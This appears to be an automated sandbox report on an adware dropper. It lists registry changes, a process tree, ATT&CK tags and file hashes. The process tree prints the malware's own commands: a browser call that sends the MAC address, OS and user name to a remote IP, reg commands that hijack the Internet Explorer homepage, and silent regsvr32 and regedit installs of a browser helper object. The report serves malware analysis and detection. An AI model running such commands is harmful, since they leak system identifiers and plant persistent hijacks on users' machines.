Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\Interface\{042C7AAC-BD4A-4450-AA0C-AAC3A30CA19E}\ = "IDownLoadProgressBar"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{38943A5A-33BB-4D28-909A-BF52B994D26A}\ = "KooPlayer Property Page"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{78ABDC59-D8E7-44D3-9A76-9A0918C52B4A}\MiscStatus\1\ = "131473"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E9536BC6-75F4-4CC7-A0AC-56A366BB9D12}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\msm4file	test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8DB3A21B-4F5A-4D45-AE1A-0F03E72A6E8F}\1.1\FLAGS\ = "2"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{78ABDC59-D8E7-44D3-9A76-9A0918C52B4A}\MiscStatus	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\ProgID	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7AA7A8C8-6BA1-4F68-BB44-CA01D82830FB}\ProxyStubClsid32	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BE61BB61-0E51-4080-8B6D-8F1FE00ABE38}\TypeLib\Version = "1.0"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8FEFF364-6A5F-4966-A917-A3AC28411659}\ToolboxBitmap32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\Interface\{042C7AAC-BD4A-4450-AA0C-AAC3A30CA19E}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Component Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{070CA17A-4BD2-4612-83B4-32B1B9159B48}\InprocServer32\ThreadingModel = "Apartment"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\msm4file\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\iexplore.exe,0"	test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8FEFF364-6A5F-4966-A917-A3AC28411659}\TypeLib\ = "{18F64ED3-F6C9-456D-B642-7B5D7142781E}"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\msm4file\shell	test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8DB3A21B-4F5A-4D45-AE1A-0F03E72A6E8F}\1.1\ = "KooPlayer ActiveX Control module"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{754EFA30-C752-4F45-8890-6250A53FD512}\1.0\ = "UPlayer ActiveX ¿Ø¼þÄ£¿é"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\ATLDownLoadProgressBar.DownLoadProgressBar.1\CLSID\ = "{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{070CA17A-4BD2-4612-83B4-32B1B9159B48}\InprocServer32\ = "C:\\PROGRA~2\\C9F0~1\\Kernel\\sina\\UCLIVE~1.OCX"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Interface\{6B1C04D4-FE66-4828-92E0-EEBCC8959BF3}\ProxyStubClsid32	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0179B775-DF94-4BF5-8EF6-63BE876D1845}\1.0\0\win32	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{EC28B75D-96D9-4C94-AF51-097924C54C99}\TypeLib	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8FEFF364-6A5F-4966-A917-A3AC28411659}\MiscStatus\1\ = "131473"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Interface\{80F1D1E4-9D20-4501-B0F1-196A6B302060}\ProxyStubClsid32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Interface\{80F1D1E4-9D20-4501-B0F1-196A6B302060}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7AA7A8C8-6BA1-4F68-BB44-CA01D82830FB}	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8FEFF364-6A5F-4966-A917-A3AC28411659}	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3D593BD9-ADCB-4E50-B1D3-9B8B413148FF}\ = "_Dsopocx"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}\ProxyStubClsid32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\ATLDownLoadProgressBar.DownLoadProgressBar\ = "CCTVUpdateInstall"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\Interface\{80F1D1E4-9D20-4501-B0F1-196A6B302060}\ = "_DKooPlayer"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Interface\{80F1D1E4-9D20-4501-B0F1-196A6B302060}\TypeLib\Version = "1.1"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{070CA17A-4BD2-4612-83B4-32B1B9159B48}\Implemented Categories	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\InprocServer32	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7B0F8D4E-2C8D-4F2A-805B-0E35BF90B713}\1.0\ = "ATLDownLoadProgressBar 1.0 Type Library"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E9536BC6-75F4-4CC7-A0AC-56A366BB9D12}\ = "_IDLoaderEvents"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{61BD6924-D4FB-4BA2-B2EF-EBE5E203D122}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{61BD6924-D4FB-4BA2-B2EF-EBE5E203D122}\Implemented Categories\{40FC6ED5-2438-11CF-A3DB-080036F12502}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\msm4file\shell\ = "open"	test.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\TypeLib\{8DB3A21B-4F5A-4D45-AE1A-0F03E72A6E8F}	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{EAB7A1CC-C77B-45E5-9AC2-AD037D047BCC}\TypeLib\ = "{754EFA30-C752-4F45-8890-6250A53FD512}"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3D593BD9-ADCB-4E50-B1D3-9B8B413148FF}\ = "_Dsopocx"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ULIVECTRL.ULiveCtrlCtrl.1	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BE61BB61-0E51-4080-8B6D-8F1FE00ABE38}\TypeLib	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\Programmable	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7AA7A8C8-6BA1-4F68-BB44-CA01D82830FB}	t2.exe

Runs .reg file with regedit 1 IoCs

pid	Process
3596	regedit.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5076	iexplore.exe
5076	iexplore.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
5076	iexplore.exe
5076	iexplore.exe
5068	IEXPLORE.EXE
5068	IEXPLORE.EXE
3692	bho.exe
5076	iexplore.exe
5076	iexplore.exe
3692	bho.exe
3692	bho.exe
2276	jisutv.exe
2276	jisutv.exe
1036	IEXPLORE.EXE
1036	IEXPLORE.EXE
2276	jisutv.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 1308 wrote to memory of 3952	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	82
PID 1308 wrote to memory of 3952	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	82
PID 1308 wrote to memory of 3952	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	82
PID 3952 wrote to memory of 4880	3952	WScript.exe	83
PID 3952 wrote to memory of 4880	3952	WScript.exe	83
PID 3952 wrote to memory of 4880	3952	WScript.exe	83
PID 3952 wrote to memory of 4928	3952	WScript.exe	84
PID 3952 wrote to memory of 4928	3952	WScript.exe	84
PID 3952 wrote to memory of 4928	3952	WScript.exe	84
PID 3952 wrote to memory of 4540	3952	WScript.exe	85
PID 3952 wrote to memory of 4540	3952	WScript.exe	85
PID 3952 wrote to memory of 4540	3952	WScript.exe	85
PID 3952 wrote to memory of 3296	3952	WScript.exe	87
PID 3952 wrote to memory of 3296	3952	WScript.exe	87
PID 3952 wrote to memory of 3296	3952	WScript.exe	87
PID 4928 wrote to memory of 5076	4928	test.exe	88
PID 4928 wrote to memory of 5076	4928	test.exe	88
PID 1308 wrote to memory of 1840	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	89
PID 1308 wrote to memory of 1840	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	89
PID 1308 wrote to memory of 1840	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	89
PID 5076 wrote to memory of 5068	5076	iexplore.exe	92
PID 5076 wrote to memory of 5068	5076	iexplore.exe	92
PID 5076 wrote to memory of 5068	5076	iexplore.exe	92
PID 4540 wrote to memory of 2392	4540	cmd.exe	93
PID 4540 wrote to memory of 2392	4540	cmd.exe	93
PID 4540 wrote to memory of 2392	4540	cmd.exe	93
PID 4540 wrote to memory of 4012	4540	cmd.exe	94
PID 4540 wrote to memory of 4012	4540	cmd.exe	94
PID 4540 wrote to memory of 4012	4540	cmd.exe	94
PID 1308 wrote to memory of 2876	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	95
PID 1308 wrote to memory of 2876	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	95
PID 1308 wrote to memory of 2876	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	95
PID 1308 wrote to memory of 3692	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	96
PID 1308 wrote to memory of 3692	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	96
PID 1308 wrote to memory of 3692	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	96
PID 1308 wrote to memory of 3668	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	97
PID 1308 wrote to memory of 3668	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	97
PID 1308 wrote to memory of 3668	1308	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	97
PID 5076 wrote to memory of 1036	5076	iexplore.exe	99
PID 5076 wrote to memory of 1036	5076	iexplore.exe	99
PID 5076 wrote to memory of 1036	5076	iexplore.exe	99
PID 4880 wrote to memory of 2276	4880	t2.exe	100
PID 4880 wrote to memory of 2276	4880	t2.exe	100
PID 4880 wrote to memory of 2276	4880	t2.exe	100
PID 3692 wrote to memory of 2144	3692	bho.exe	103
PID 3692 wrote to memory of 2144	3692	bho.exe	103
PID 3692 wrote to memory of 2144	3692	bho.exe	103
PID 3692 wrote to memory of 3972	3692	bho.exe	105
PID 3692 wrote to memory of 3972	3692	bho.exe	105
PID 3692 wrote to memory of 3972	3692	bho.exe	105
PID 3972 wrote to memory of 3596	3972	cmd.exe	106
PID 3972 wrote to memory of 3596	3972	cmd.exe	106
PID 3972 wrote to memory of 3596	3972	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
"C:\Users\Admin\AppData\Local\Temp\55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\2222.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Program Files (x86)\winsoft9\t2.exe
    "C:\Program Files (x86)\winsoft9\t2.exe"
    3⤵
    - Executes dropped EXE
    - Registers COM server for autorun
    - Checks computer location settings
    - Loads dropped DLL
    - Drops file in Program Files directory
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe
      "C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe"
      4⤵
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious use of SetWindowsHookEx
      PID:2276
- - C:\Program Files (x86)\winsoft9\test.exe
    "C:\Program Files (x86)\winsoft9\test.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=5e-ae-84-11-33-78&os=Microsoft Windows XP&flag=5716ec57f25866020c0027af833c3df2&user=test
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5076
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5076 CREDAT:17410 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:5068
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5076 CREDAT:82948 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\winsoft9\3.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4540
  - - C:\Windows\SysWOW64\reg.exe
      reg del "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v
      4⤵
      PID:2392
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files (x86)\Internet Explorer\iexplore.exe http://www.936dh.com/?cf84" /f
      4⤵
      Modifies registry class
      PID:4012
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\3.vbs"
    3⤵
    PID:3296
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\3.vbs"
  2⤵
  PID:1840
- C:\Program Files (x86)\winsoft9\test.exe
  "C:\Program Files (x86)\winsoft9\test.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies Internet Explorer settings
  - Modifies registry class
  PID:2876
- C:\Program Files (x86)\winsoft9\bho.exe
  "C:\Program Files (x86)\winsoft9\bho.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe /s "C:\Windows\xldvlfxmkjarkeohuhoa\dllbkjdvxujru.dll"
    3⤵
    - Loads dropped DLL
    - Modifies registry class
    PID:2144
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c regedit.exe /s C:\Windows\reg.reg
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3972
  - - C:\Windows\SysWOW64\regedit.exe
      regedit.exe /s C:\Windows\reg.reg
      4⤵
      Installs/modifies Browser Helper Object
      Runs .reg file with regedit
      PID:3596
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\1.vbs"
  2⤵
  PID:3668

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:4144

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Browser Extensions

T1176

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\winsoft9\1.vbs

Filesize
154B

MD5
54517f28806a5a8a3cef5e8b81dd89c2

SHA1
6db271401f3cf668f08afc82fbbc93f7fb5e25b7

SHA256
bff276f558c6f950e5e37ea6d68458b82a2587a6005449dfd1728b7216d5cb80

SHA512
a8d909b2fc1ba2edcd0bc7df1901cd02b7e90bd005aec42b7398b04c4dbd4763d403a712b5f6df79727647570298d5db7e938f357f60b3f094029ad15bd31e6a

Download Submit
C:\Program Files (x86)\winsoft9\2222.vbs

Filesize
5KB

MD5
0e936c79225e718c6cd5c66a0b718f8f

SHA1
e7ef4e3847f77c391bbbc6905cdc64920e851360

SHA256
de90e361b94d83b53867764197062cb8c519e2f661b7e13064eae870e6237206

SHA512
283f517bd2a2428667faac1add604355cc7620920611191d50b6f3229b62a42429b73a023276789ab8de6febe76edb628b7f913139544c8837ccba8f095b33c2

Download Submit
C:\Program Files (x86)\winsoft9\3.bat

Filesize
1KB

MD5
c1c1cb1252a762c51fe712fb2d54cd47

SHA1
e7d32b64241d05c089ea59e009b9fb8740e331a7

SHA256
7883c615a25057e52c2ebb1a6ad2f1512618dd13a398bc2defb7a21082e81dd4

SHA512
852c5688bfe39f78f3ac7d653f5a1cb0b031b9ea1498e62afc95a566c70bf727ba45dd047c6c85c70387cd37802dc71b52f9d027285b65325de6d7974557314c

Download Submit
C:\Program Files (x86)\winsoft9\3.vbs

Filesize
787B

MD5
37de6106d9bbd195751ef78d83c89464

SHA1
c2e53e46676b12aafd9ecf8b2ba8fa18d4d63e80

SHA256
d617c7a3ecaab8b7c9e65f283027557ab812f5d87fe2a2fd480c8445936ff817

SHA512
07079311b09303d9ef2d00aa53ebc0c1e419d242a5a1fdee49b7753cc11fc03bf538d105689db87a92ec044554379b7d88fa93d7a4f405a0162193c2b03e3f81

Download Submit
C:\Program Files (x86)\winsoft9\bho.exe

Filesize
27KB

MD5
a588bcace7cd5b91e742ce2dd1159317

SHA1
bc8783c33b26faad9161fdc911c84eeed39d96bc

SHA256
f7948998750346c304b142b87dc3bd8065201f337729be73f751cd39023f03f7

SHA512
a956ecf9fb9d66969adf308e6dd1f6bd5b6d650532b1e592af7bd02c9256085db78b913565a73f75f8ce9042331a2bc9354bb14375e2261e7d58f03b72ad731f

Download Submit
C:\Program Files (x86)\winsoft9\bho.exe

Filesize
27KB

MD5
a588bcace7cd5b91e742ce2dd1159317

SHA1
bc8783c33b26faad9161fdc911c84eeed39d96bc

SHA256
f7948998750346c304b142b87dc3bd8065201f337729be73f751cd39023f03f7

SHA512
a956ecf9fb9d66969adf308e6dd1f6bd5b6d650532b1e592af7bd02c9256085db78b913565a73f75f8ce9042331a2bc9354bb14375e2261e7d58f03b72ad731f

Download Submit
C:\Program Files (x86)\winsoft9\game.ico

Filesize
14KB

MD5
173d5c23af9b3a269eb19b1c7426e7d2

SHA1
47bab303b6880ddbecd3c138fedf028449150f85

SHA256
55e846ccb820e699dc0dff83931a78b4ce6ba8489be1b13aad2c062d3452e9ff

SHA512
8b123a7412208ee1786cdffea25afdfa61216ca290cf724489b990a423886e155afe642d42c6c2fa14a254437ee9e0b473a15aa0313e871d04426d888058ba4a

Download Submit
C:\Program Files (x86)\winsoft9\mm.ico

Filesize
9KB

MD5
c6b53df7e7006fc1ce1bfd8a57cc5dd4

SHA1
06ea81ea5758b4d5ae700edaf6aaacbcd834b86e

SHA256
82d3aefca8e69aaa86145495e8fd711070d694fd29f31bc3a1cd4c13abc26a66

SHA512
f5296f215aaac7149f8ab7d80a425263f057fc592f8356dd36f9ac228bde87371b6a1e4ddc974722227634f96cade4e097565659da6b549e51ccedd74bdbef57

Download Submit
C:\Program Files (x86)\winsoft9\t2.exe

Filesize
3.6MB

MD5
e60e497a7699c38015ac463282140260

SHA1
b4e64e9f555acc065265b422180f1159f224a0b1

SHA256
31edbd1a3ef2c315dc784dcfe755d69b85d1692ad7944fb245a1eed470ed6b2b

SHA512
57e021a275f536d2ad92e589c10a22bb3d0e342175caf94f69bff345c333165e72147c4beb8a47004141d2729ddded58e7701d95b12593dcaf011e017eaf6200

Download Submit
C:\Program Files (x86)\winsoft9\t2.exe

Filesize
3.6MB

MD5
e60e497a7699c38015ac463282140260

SHA1
b4e64e9f555acc065265b422180f1159f224a0b1

SHA256
31edbd1a3ef2c315dc784dcfe755d69b85d1692ad7944fb245a1eed470ed6b2b

SHA512
57e021a275f536d2ad92e589c10a22bb3d0e342175caf94f69bff345c333165e72147c4beb8a47004141d2729ddded58e7701d95b12593dcaf011e017eaf6200

Download Submit
C:\Program Files (x86)\winsoft9\taobao.ico

Filesize
2KB

MD5
d77877537a5527e65aa9c34862c6b1e4

SHA1
4811c789b60dc8c25fcee1fa1e7b8a030c44c4eb

SHA256
0054c05f60ce75be1e31059a973f3f72544cdeaebab3f74eb446f78fa08f0493

SHA512
fd5a7c4f2a413d7291e00722f97a76aa7e37df0c3ffb86d54c1ac58e595d91ba08fc2c8c66ed74e20b4e873983e233112ff1859289370ef81ee05be7eea4a3d4

Download Submit
C:\Program Files (x86)\winsoft9\test.exe

Filesize
396KB

MD5
b574a521110491c9ff94176db007d73b

SHA1
c8a8e38c88906a5439c585621820e47e202c90c0

SHA256
17d93c553d77e4321deea6af458b560b6aaa4cfa442ce64de53b5674c2821740

SHA512
c4511bb86a858c31eec1fdcb9ee08c21a9ffff5a613a79107265272372a105d1a1504db033e5eaee33e3f67b1c553d72182e9a957c7aeb4ffc96e083b92f867c

Download Submit
C:\Program Files (x86)\winsoft9\test.exe

Filesize
396KB

MD5
b574a521110491c9ff94176db007d73b

SHA1
c8a8e38c88906a5439c585621820e47e202c90c0

SHA256
17d93c553d77e4321deea6af458b560b6aaa4cfa442ce64de53b5674c2821740

SHA512
c4511bb86a858c31eec1fdcb9ee08c21a9ffff5a613a79107265272372a105d1a1504db033e5eaee33e3f67b1c553d72182e9a957c7aeb4ffc96e083b92f867c

Download Submit
C:\Program Files (x86)\winsoft9\test.exe

Filesize
396KB

MD5
b574a521110491c9ff94176db007d73b

SHA1
c8a8e38c88906a5439c585621820e47e202c90c0

SHA256
17d93c553d77e4321deea6af458b560b6aaa4cfa442ce64de53b5674c2821740

SHA512
c4511bb86a858c31eec1fdcb9ee08c21a9ffff5a613a79107265272372a105d1a1504db033e5eaee33e3f67b1c553d72182e9a957c7aeb4ffc96e083b92f867c

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\cctv\CCTVPlayer.ocx

Filesize
310KB

MD5
0447558bbb8c861cf9812b949e5cbdba

SHA1
e9995d97899ad96ba3115b367c57eb4be11825a6

SHA256
56d6bb081c9bd07d25a839af57e65bd19bd22a70962ebde88d7a3fd22439aacf

SHA512
27f6a8ce3709144d7a7d03e6d845e99fa7a2b2787e22f02bef56ec29c16e8a581520898273b7e19e501db5e4fbaf8d4b9cda3dc6974fb4b4c9fa00ff9bdeaff7

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\cctv\CCTVUpdateInstall.dll

Filesize
41KB

MD5
cc83eeac8d4455eaffe7aa548f1865b3

SHA1
a75e92ae783fcde98162e5bb5e44afb4c84cae02

SHA256
f0521e7c931ad2707537d5c072259cfeb38bf6513cc80424982c693ebde7dd76

SHA512
37f640a5bebefc2d5bb1ab887e8757c6f20190f3b8e0c175ee0d9f970df4ec7adeb8b069cb043f0a20b66fd452c263b5d0de4bdd1a2a3e3ecfd530c3656fa7a0

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\UCLiveCtrl.ocx

Filesize
677KB

MD5
6aab7140ec9dc5abf7405c7c39a9d7ed

SHA1
3dc0a4b799203da262bbd11b66334205916f9534

SHA256
3898f57fb15c56452434a418ac4b6ca94bcec1da3bccd06b765608da4b08f2ee

SHA512
9656282a9c39c241e8a7e01f09d2c2f90dfbbc66c0e5b5613f84531db4bd380474279d3508ab14f2103204c29cedda0e4999b987c2a0b6eea25a4379785e3cc3

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\downloader.dll

Filesize
93KB

MD5
a78ef1fcd0f9c4dfdf361b679f78d966

SHA1
e5a41251035dabeba4492579f6be7ce4c48772a1

SHA256
aa34281bc9096e86f0696d795fd483992bb5d01b1190f531606ce0d59ed22baa

SHA512
35e1d01e2ef5598c756dd15ae5d02d6311059ab45de9f534cff1a8041ce00082612a14df17273abf2e023fe1c2df10420311eff6f8679e92128963f80886b580

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\sopocx.ocx

Filesize
1.7MB

MD5
40ed450182d2adf939690c8a6da07f58

SHA1
3aac13711fe44256a01fd0366100985611799571

SHA256
10685ccb08b1af629fc9c78ed271369453de3f933fcf7fff679bfa800010fcea

SHA512
c8737da20e555a3ab9aaaf0dd8c84108480e58161484606a83119819ef699afc55b7d894e5c79355de25ed5df272019b6f877080fc6a9d9eabb68f1df3cf9758

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\uusee\seeplayer.ocx

Filesize
857KB

MD5
7e0c71c11ed6cf31221dccea0d61f7aa

SHA1
008fd3605eb1c6f11d097fd2b47cbf95c447b62e

SHA256
7fc1717b30fb29ba9186d155d14fb141f628854194c57b162cb624198445de61

SHA512
f865a283adee0f1260759b10eb4cc48106f493d8f5d71f657c886e365229777cc6cf30253316add62fbfe2ee91fb374fea89ed89c9c19232a7ebedafcc2a655c

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\info.ini

Filesize
114B

MD5
a4e9c7ca79ed34786589f664da635346

SHA1
33ead9343cca82873e4cb25916a99ed9c3ad1091

SHA256
336ceeeb12d08848662516e32515c3555189f832d6a84b26c38d5a0e66afbc92

SHA512
aa77bb5bbf677f884754e083dc38b8848285df377d45a732c823e805e27a5cb35cd9c525938d10ce4d89428edeeeb45f8661862a59c9464e873ce430e4dc1415

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe

Filesize
840KB

MD5
41dcbc9c3c76130dbfed826d1c1d3a6f

SHA1
f054c8d533db3ccef2b9e4e22df53e10c6b16e7e

SHA256
8a688bdd73c8b6f9545f7b4572335b9d992d416b24086d631b2f7b7b1bb4a783

SHA512
fb94a97e15b9085a7cd0f42bc28e0b52f594907e217066401182f0d27a9fe3c73d3a6d445421195d04eeef8bed565de047ce99a4a3d5bf587c3e5860efc562ab

Download Submit
